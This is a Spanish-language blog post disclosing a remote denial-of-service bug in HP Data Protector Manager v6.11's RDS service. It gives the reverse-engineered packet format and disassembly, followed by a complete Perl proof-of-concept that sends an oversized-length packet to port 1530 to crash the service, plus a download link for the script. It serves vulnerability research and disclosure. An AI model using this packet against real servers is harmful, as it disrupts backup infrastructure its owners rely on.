HP Data Protector Manager v6.11 (DoS en el servicio RDS)

Continuamos con la saga de servicios de HP Data Protector Manager v6.11, en el que ya subí a mi web dos denegaciones de servicios en OmniInet y MMD (que por cierto, está la misma vulnerabilidad también en el servicio KMS, que usa la mismoa DLL) …  y todas ellas debido a un fallo en la DLL MSVCR71.dll que provocaba un NULL Pointer Dereference.

Esta vez se trata del servicio RDS y la DLL afectada es otra diferente, así como la causa de la denegación de servicio.

Antes de nada, decir que cuando estuve mirando este programa de HP, hace unos meses, mi amigo Roi Mallo lo hizo también, y cada uno miramos servicios diferentes. El DoS en el RDS lo descubrió él en su día, pero no lo llegó a publicar ya que tuvo un desafortunado incidente con su disco duro 🙂

Como me puse el otro día de nuevo a revisar este software, me comentó su hallazgo así que me he limitado a verificarlo.

Ya que no dispongo de un cliente para ese servicio, tras hacer un poco de reversing y un simple breakpoint en recv he podido ver que los datos esperados son:

1 Dword // siempre B6298C23 (\x23\x8c\x29\xb6)

1 Dword // que indica el tamaño de los datos

Datos

Y lo que hace, básicamente es:

  • La DLL _ncp32.dll es la responsable de realizar el RECV en espera de los datos del cliente.
  • Analiza la cabecera y, si es correcta, llama a _rm32.dll pasando el tamaño.
  • _rm32.dll realiza un MALLOC para reservar memoria para el paquete y devuelve la dirección donde deben guardarse los datos.
  • Si el tamaño es muy grande, MALLOC devuelve 0 y se realiza un EXIT controlado, con lo que el servicio queda parado.
// _ncp32.dll
00482F92   68 7DFAF908      PUSH 8F9FA7D
00482F97   6A 00                PUSH 0
00482F99   6A 01                PUSH 1
00482F9B   6A 00                PUSH 0
00482F9D   8B55 F8              MOV EDX,DWORD PTR SS:[EBP-8] ; packet size (64000000h)
00482FA0   52                       PUSH EDX
00482FA1   E8 9C2D0000    CALL <JMP.&_rm32.#20_rm_getMem>

// _rm32.dll
0038C49B   8B45 08              MOV EAX,DWORD PTR SS:[EBP+8] : packet size (64000000h)
0038C49E   83C0 08              ADD EAX,8
0038C4A1   50                   PUSH EAX
0038C4A2   FF15 F4733A00 CALL DWORD PTR DS:[<&MSVCR71.malloc>]    ; MSVCR71.malloc  -> Returns 0 because no space available
......
0038C5F9   50                       PUSH EAX
0038C5FA   68 2C0C3A00      PUSH _rm32.003A0C2C ; ASCII "rm_getMem: out of memory, allocating %u bytes. Called from %s"
.....
0038C64E   E8 8D220000      CALL _rm32.rm_errorExit

Y el exploit:

#!/usr/bin/perl

# ===============================
# HP Data Protector Manager v6.11
# ===============================
#
# Bug: Remote Denial of Service Vulnerabilities (RDS Service)
#
# Software: http://h71028.www7.hp.com/enterprise/w1/en/software/information-management-data-protector.html
# Date: 08/01/2011
# Authors: Roi Mallo - rmallof[AT]gmail[DOT]com
#                   http://elotrolad0.blogspot.com/ - http://twitter.com/rmallof
#              Pepelux - pepelux[AT]enye-sec[DOT]com
#                   http://www.enye-sec.org - http://www.pepelux.org - http://twitter.com/pepeluxx
#
# Vulnerable file: Program Files\OmniBack\rds.exe
#
# Tested on Windows XP SP2 && Windows XP SP3
#
#
# POC:
# _ncp32.dll is the responsable of waiting the packet (RECV)
# when a packet is received, it uses _rm32.dll to allocating memory,
# as the size is too big, malloc can't allocate this size and the program exit.
#
# _ncp32.dll
# 00482F92   68 7DFAF908      PUSH 8F9FA7D
# 00482F97   6A 00                PUSH 0
# 00482F99   6A 01                PUSH 1
# 00482F9B   6A 00                PUSH 0
# 00482F9D   8B55 F8              MOV EDX,DWORD PTR SS:[EBP-8] ; packet size (64000000h)
# 00482FA0   52                       PUSH EDX
# 00482FA1   E8 9C2D0000    CALL <JMP.&_rm32.#20_rm_getMem>
#
#
# _rm32.dll
# 0038C49B   8B45 08              MOV EAX,DWORD PTR SS:[EBP+8] : packet size (64000000h)
# 0038C49E   83C0 08              ADD EAX,8
# 0038C4A1   50                   PUSH EAX
# 0038C4A2   FF15 F4733A00 CALL DWORD PTR DS:[<&MSVCR71.malloc>]    ; MSVCR71.malloc  --> Returns 0 because no space available
# ......
# 0038C5F9   50                       PUSH EAX
# 0038C5FA   68 2C0C3A00      PUSH _rm32.003A0C2C ; ASCII "rm_getMem: out of memory, allocating %u bytes. Called from %s"
#......
# 0038C64E   E8 8D220000      CALL _rm32.rm_errorExit

use IO::Socket;

my ($server, $port) = @ARGV ;

unless($ARGV[0] || $ARGV[1]) {
 print "Usage: perl $0 <host> [port]\n";
 print "\tdefault port = 1530\n\n";
 exit 1;
}

$port = 1530 if !($ARGV[1]);

if ($^O =~ /Win/) {system("cls");}else{system("clear");}

my $buf = "\x23\x8c\x29\xb6";     # header (always the same)
$buf .= "\x64\x00\x00\x00";         # data packet size (too big)
$buf .= "\x41"x4;                        # data

print "[+] Connecting to $server:$port ...\n";

my $sock1 = new IO::Socket::INET (PeerAddr => $server, PeerPort => $port, Timeout => '10', Proto => 'tcp') or die("Server $server is not available.\n");

print "[+] Sending malicious packet ...\n";
print $sock1 "$buf";
print "\n[x] Server crashed!\n";
exit;

Podéis bajar el exploit aquí: http://pepelux.org/exploits/hpdataprotector_rds.pl

2 comentarios

  1. Vientos pepe, como siempre, rifandose como los grandes ninjas 😀

    No he tenido tiempo, pero ahora que me haga un chance para probar lo del ActiveX 😛

Deja un comentario